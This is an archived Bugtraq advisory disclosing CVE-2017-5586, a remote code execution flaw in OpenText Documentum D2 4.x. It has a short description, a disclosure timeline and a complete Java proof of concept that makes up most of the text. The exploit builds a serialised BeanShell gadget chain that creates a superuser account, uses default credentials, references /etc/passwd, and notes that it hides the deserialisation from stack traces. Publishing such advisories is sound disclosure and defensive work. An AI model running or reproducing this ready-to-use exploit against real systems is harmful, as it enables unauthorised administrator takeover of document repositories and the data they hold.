CVE-2017-5586: Remote code execution in OpenText Documentum D2

From: Andrey B. Panfilov <andrew@panfilov.tel>
To: 'bugtraq@securityfocus.com' <bugtraq@securityfocus.com>
Cc:
Subject: CVE-2017-5586: Remote code execution in OpenText Documentum D2
Date: Wed, 15 February 2017 09:20 GMT


CVE Identifier: CVE-2017-5586
Vendor: OpenText
Affected products: Documentum D2 version 4.x
Researcher: Andrey B. Panfilov
Severity Rating: CVSS v3 Base Score: 10.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
Description: Document D2 contains vulnerable BeanShell (bsh) and Apache Commons libraries and accepts serialised data from untrusted sources, which leads to remote code execution

Proof of concept:

===================================8<===========================================


import java.io.ByteArrayOutputStream;
import java.io.DataOutputStream;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;
import java.util.Comparator;
import java.util.List;
import java.util.PriorityQueue;


import bsh.Interpreter;
import bsh.XThis;


import com.documentum.fc.client.content.impl.ContentStoreResult;
import com.documentum.fc.client.impl.typeddata.TypedData;


/**
 * @author Andrey B. Panfilov <andrey@panfilov.tel>
 *
 * Code below creates superuser account in underlying Documentum repository
 * usage: java DocumentumD2BeanShellPoc http://host:port/D2 <docbase_name> <user_name_to_create>
 *
 */
@SuppressWarnings("unchecked")
public class DocumentumD2BeanShellPoc {


   public static void main(String[] args) throws Exception {
          String url = args[0];
              String docbase = args[1];
          String userName = args[2];
         String payload = "compare(Object foo, Object bar) {new Interpreter()"
                            + ".eval(\"try{com.documentum.fc.client.IDfSession session = com.documentum.fc.impl.RuntimeContext.getInstance()"
                           + ".getSessionRegistry().getAllSessions().iterator().next();"
                            + "session=com.emc.d2.api.D2Session.getAdminSession(session, false);"
                            + "com.documentum.fc.client.IDfQuery query = new com.documentum.fc.client.DfQuery("
                              + "\\\"CREATE dm_user object set user_name='%s',set user_login_name='%s',set user_source='inline password', "
                         + "set user_password='%s', set user_privileges=16\\\");query.execute(session, 3);} "
                              + "catch (Exception e) {}; return 0;\");}";
         Interpreter interpreter = new Interpreter();
               interpreter.eval(String.format(payload, userName, userName, userName));
            XThis x = new XThis(interpreter.getNameSpace(), interpreter);
              Comparator comparator = (Comparator) x.getInterface(new Class[] { Comparator.class, });
            PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
                Object[] queue = new Object[] { 1, 1 };
            setFieldValue(priorityQueue, "queue", queue);
            setFieldValue(priorityQueue, "size", 2);


               // actually we may send priorityQueue directly, but I want to hide
         // deserialization stuff from stacktrace :)
                Class cls = Class.forName("com.documentum.fc.client.impl.typeddata.ValueHolder");
                Constructor ctor = cls.getConstructor();
           ctor.setAccessible(true);


                Object valueHolder = ctor.newInstance();
           setFieldValue(valueHolder, "m_value", priorityQueue);
            List valueHolders = new ArrayList();
               valueHolders.add(valueHolder);


           TypedData data = new TypedData();
          setFieldValue(data, "m_valueHolders", valueHolders);


           ContentStoreResult result = new ContentStoreResult();
              setFieldValue(result, "m_attrs", data);


                ByteArrayOutputStream baos = new ByteArrayOutputStream();
          DataOutputStream dos = new DataOutputStream(baos);
         for (Character c : "SAVED".toCharArray()) {
                      dos.write(c);
              }
          dos.write((byte) 124);
             dos.flush();
               ObjectOutputStream oos = new ObjectOutputStream(baos);
             oos.writeObject(result);
           oos.flush();
               byte[] bytes = baos.toByteArray();
         baos = new ByteArrayOutputStream();
                dos = new DataOutputStream(baos);
          dos.writeInt(bytes.length);
                dos.write(bytes);
          dos.flush();
               HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
               conn.setRequestProperty("Content-Type", "application/octet-stream");
           conn.setRequestMethod("POST");
           conn.setUseCaches(false);
          conn.setDoOutput(true);
            conn.getOutputStream().write(baos.toByteArray());
          conn.connect();
            System.out.println("Response code: " + conn.getResponseCode());
          InputStream stream = conn.getInputStream();
                byte[] buff = new byte[1024];
              int count = 0;
             while ((count = stream.read(buff)) != -1) {
                        System.out.write(buff, 0, count);
          }
  }


        public static String makeUrl(String url) {
         if (!url.endsWith("/")) {
                        url += "/";
              }
          return url + "servlet/DoOperation?origD2BocsServletName=Checkin&id=1&file=/etc/passwd&file_length=1000"
                           + "&_username=dmc_wdk_preferences_owner&_password=webtop";
     }


        public static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
            Field field = clazz.getDeclaredField(fieldName);
           if (field == null && clazz.getSuperclass() != null) {
                    field = getField(clazz.getSuperclass(), fieldName);
                }
          field.setAccessible(true);
         return field;
      }


        public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
          final Field field = getField(obj.getClass(), fieldName);
           field.set(obj, value);
     }


}


===================================>8===========================================



Disclosure timeline:

2016.02.28: Vulnerability discovered
2017.01.25: CVE Identifier assigned
2017.02.01: Vendor contacted, no response
2017.02.15: Public disclosure


__
Regards,
Andrey B. Panfilov








Copyright © 1995-2017 LinuxRocket.net. All rights reserved.